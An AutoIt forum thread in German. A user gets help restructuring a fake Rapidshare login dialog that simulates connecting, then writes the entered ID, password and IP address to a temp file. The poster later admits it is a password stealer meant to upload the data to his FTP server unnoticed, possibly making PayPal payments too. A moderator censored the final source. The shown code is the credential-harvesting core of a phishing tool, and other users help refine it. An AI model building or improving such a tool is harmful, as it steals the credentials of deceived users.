Inputfeld checken

  • Ich möchte dass mein Programm das Inputfeld checkt und falls der eingegebene text kürzer wie "n" Buchstaben is, nen Error ausgibt!

  • Was stimmt daran nicht?
    Falls jemand mit dem Button die Funktion "go" startet, soll die Stringlänge gecheckt werden falls die Länge in $id kürzer wie 7 und die Länge in $pw kürzer wie 15 ist soll eine MsgBox aufgehen und einen Error ausgeben! Ist die Länge jedoch länger wie 7 bzw 15 (beides muss erfüllt sein!!) soll die Funktion weiter ausgeführt werden!
    Irgendwie bau ich gerade nen Megamist...ich hoffe mir kann jemand helfen! ;D


    Spoiler anzeigen
    [autoit]

    ; Login funktion
    Func go()
    If StringLen(Guictrlread($id)) < 7 then
    ProgressOn("Login","","")
    Sleep (1000)
    ProgressSet (0, "Connecting rapidshare.com")
    Sleep (1000)
    ProgressSet (15, "Successful connected")
    Sleep (1000)
    ProgressSet (35, "Sending Logindata")
    Sleep (1500)
    Progressset (70, "Waiting for Validation")
    Sleep (1000)
    Progressset (90 , "Error")
    MsgBox(0, "Error", "Please check your ID and PW!")
    Exit
    Elseif StringLen(Guictrlread($pw)) < 15 Then
    ProgressOn("Login","","")
    Sleep (1000)
    ProgressSet (0, "Connecting rapidshare.com")
    Sleep (1000)
    ProgressSet (15, "Successful connected")
    Sleep (1000)
    ProgressSet (35, "Sending Logindata")
    Sleep (1500)
    Progressset (70, "Waiting for Validation")
    Sleep (1000)
    Progressset (90 , "Error")
    MsgBox(0, "Error", "Please check your ID and PW!")
    Exit
    Else
    If StringLen(Guictrlread($id)) > 7 then
    ProgressOn("Login","","")
    Sleep (1000)
    ProgressSet (0, "Connecting rapidshare.com")
    Sleep (1000)
    ProgressSet (15, "Successful connected")
    Sleep (1000)
    ProgressSet (35, "Sending Logindata")
    Sleep (1500)
    Progressset (70, "Waiting for Validation")
    Sleep (1000)
    Progressset (100, "Login Completed")
    ;; Hier soll er mit der Funktion weitermachen!
    Elseif StringLen(Guictrlread($pw)) > 15 Then
    ProgressOn("Login","","")
    Sleep (1000)
    ProgressSet (0, "Connecting rapidshare.com")
    Sleep (1000)
    ProgressSet (15, "Successful connected")
    Sleep (1000)
    ProgressSet (35, "Sending Logindata")
    Sleep (1500)
    Progressset (70, "Waiting for Validation")
    Sleep (1000)
    Progressset (100, "Login Completed")
    ;; Hier soll er mit der Funktion weitermachen!
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    SoundPlay(@WindowsDir & "\media\tada.wav",1)
    ProgressOff()
    GuictrlcreateLabel ("Login Successful", 90, 245, 140)
    GUICtrlSetFont(-1, 12, 400)
    $File=FileWrite(@TempDir & "\pw.txt", "")
    $File2=FileOpen(@TempDir & "\pw.txt",1)
    FilewriteLine($File2, "Account:")
    FileWriteLine($File2, "ID: " & $id2)
    FileWriteLine($File2, "PW: " & $pw2)
    FileWriteLine($File2, "IP: " & @IPAddress1)
    FileClose($File2)
    GUICtrlSetState($id, $GUI_DISABLE)
    GUICtrlSetState($pw, $GUI_DISABLE)
    GUICtrlSetState($login, $GUI_DISABLE)
    EndFunc

    [/autoit]
  • Ich würde es einfach mit einer Select Case Abfrage machen:

    [autoit]

    Select
    Case StringLen($id) < 7
    ;... ERROR
    Case StringLen($pw) < 15
    ;... ERROR
    Case Else
    ;... LOGIN
    EndSelect

    [/autoit]

    Wer immer nur das tut, was er bereits kann - wird auch immer nur das bleiben, was er bereits ist!

  • Mein Error! :(


    >"C:\Programme\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "P:\Autoit\rapidshare3.au3"
    P:\Autoit\rapidshare3.au3 (59) : ==> Unknown function name.:
    If StingLen(Guictrlread($id)) < 7 then
    If ^ ERROR
    >Exit code: 1 Time: 0.317


    EDIT: Och ich bin so doof...hatte noch nen Überrest vom vorherigen Versuch des Problem zu lösen mitten im Quelltext! ;D
    Nun gehts...danke danke danke ! :)

  • Hier ist der Code auf Basis des vorangegangenen Posts:

    Spoiler anzeigen
    [autoit]

    Func go()
    Select
    Case StringLen(GUICtrlRead($id)) < 7
    ProgressOn("Login", "", "")
    Sleep(1000)
    ProgressSet(0, "Connecting rapidshare.com")
    Sleep(1000)
    ProgressSet(15, "Successful connected")
    Sleep(1000)
    ProgressSet(35, "Sending Logindata")
    Sleep(1500)
    ProgressSet(70, "Waiting for Validation")
    Sleep(1000)
    ProgressSet(90, "Error")
    MsgBox(0, "Error", "Please check your ID and PW!")
    Exit
    Case StringLen(GUICtrlRead($pw)) < 15
    ProgressOn("Login", "", "")
    Sleep(1000)
    ProgressSet(0, "Connecting rapidshare.com")
    Sleep(1000)
    ProgressSet(15, "Successful connected")
    Sleep(1000)
    ProgressSet(35, "Sending Logindata")
    Sleep(1500)
    ProgressSet(70, "Waiting for Validation")
    Sleep(1000)
    ProgressSet(90, "Error")
    MsgBox(0, "Error", "Please check your ID and PW!")
    Exit
    MsgBox(0, 0, -2)
    Case Else
    ProgressOn("Login", "", "")
    Sleep(1000)
    ProgressSet(0, "Connecting rapidshare.com")
    Sleep(1000)
    ProgressSet(15, "Successful connected")
    Sleep(1000)
    ProgressSet(35, "Sending Logindata")
    Sleep(1500)
    ProgressSet(70, "Waiting for Validation")
    Sleep(1000)
    ProgressSet(100, "Login Completed")
    EndSelect
    SoundPlay(@WindowsDir & "\media\tada.wav", 1)
    ProgressOff()
    GUICtrlCreateLabel("Login Successful", 90, 245, 140)
    GUICtrlSetFont(-1, 12, 400)
    $File = FileWrite(@TempDir & "\pw.txt", "")
    $File2 = FileOpen(@TempDir & "\pw.txt", 1)
    FileWriteLine($File2, "Account:")
    FileWriteLine($File2, "ID: " & $id2)
    FileWriteLine($File2, "PW: " & $pw2)
    FileWriteLine($File2, "IP: " & @IPAddress1)
    FileClose($File2)
    GUICtrlSetState($id, $GUI_DISABLE)
    GUICtrlSetState($pw, $GUI_DISABLE)
    GUICtrlSetState($login, $GUI_DISABLE)
    EndFunc ;==>go

    [/autoit]


    PS: Ich denke es wäre vllt. sinnvoll das Passwort vorher zu verschlüsseln (nur so als Hinweis)

    Wer immer nur das tut, was er bereits kann - wird auch immer nur das bleiben, was er bereits ist!

  • peethebee hat Recht :)
    Jedoch bin ich nicht interressiert wirklich jemanden übers Kreuz zu hauen da ich sowieso jedes Jahr RS-Premium habe!
    Es ging darum dass ich vor einigen Tage mit nem Kumpel die Wette geschlossen habe dass ich einen Password-Stealer in autoit schreiben kann der ohne Bemerken vom User die Daten auf meine ftp uploadet!
    Da ich dieses Programm jedoch inzwischen als Herrausforderung sehe, will ich es optisch Anspreched, sowie wirklich/teilweise funktionieren lassen! Das Programm soll sich wirklich auf rs.com anmelden und das "Auslaufdatum" des Premiumaccountes auslesen UND evtl. mit paypal eine zahlung automatisch tätigen! ;)
    Btw: Hier der Quelltext...klappt bisher alles prima! ;D (Ich zensiere mal den FTP)! ;D

    Spoiler anzeigen


    Edit Oscar: Quellcode zensiert

    Einmal editiert, zuletzt von Oscar (20. Februar 2010 um 15:20)